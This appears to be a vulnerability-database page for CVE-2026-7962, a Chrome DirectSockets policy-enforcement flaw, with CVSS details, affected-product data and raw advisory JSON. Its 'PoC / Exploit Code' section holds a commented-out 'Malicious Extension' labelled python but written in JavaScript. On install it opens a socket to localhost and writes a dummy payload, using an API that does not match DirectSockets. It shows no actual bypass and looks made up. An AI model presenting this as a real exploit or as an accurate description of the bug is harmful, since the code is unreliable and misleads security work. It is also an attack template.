Security Vulnerability Report
中文
CVE-2026-7962 CVSS 5.4 MEDIUM

CVE-2026-7962

Published: 2026-05-06 19:16:46
Last Modified: 2026-05-07 02:02:57

Description

Insufficient policy enforcement in DirectSockets in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform arbitrary read/write via a crafted Chrome Extension. (Chromium security severity: Medium)

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-7962 // This demonstrates the structure of a malicious Chrome Extension // exploiting insufficient policy enforcement in DirectSockets. // --- manifest.json --- /* { "manifest_version": 3, "name": "Malicious Extension", "version": "1.0", "background": { "service_worker": "background.js" }, "permissions": ["sockets"] } */ // --- background.js --- /* // In a vulnerable version (< 148.0.7778.96), the DirectSockets API // may not enforce strict policies on where connections can be made. chrome.runtime.onInstalled.addListener(() => { console.log("Extension installed. Attempting exploit..."); exploitVulnerability(); }); async function exploitVulnerability() { try { // Create a socket that might violate security policies // The bug allows arbitrary read/write via this interface const socketId = await chrome.sockets.tcp.create({}); // Connect to an arbitrary address (simulated) // In a real exploit, this would target sensitive internal services // or local files if the policy bypass allows it. await chrome.sockets.tcp.connect(socketId.socketId, "127.0.0.1", 80); // Perform arbitrary write/read const data = new TextEncoder().encode("MALICIOUS_PAYLOAD"); await chrome.sockets.tcp.write(socketId.socketId, data); console.log("Arbitrary read/write successful via DirectSockets bypass."); } catch (e) { console.error("Exploit failed (likely patched):", e); } } */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7962", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:46.290", "lastModified": "2026-05-07T02:02:56.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in DirectSockets in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform arbitrary read/write via a crafted Chrome Extension. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/497081987", "source": "[email protected]", "tags": ["Permissions Required"]}]}}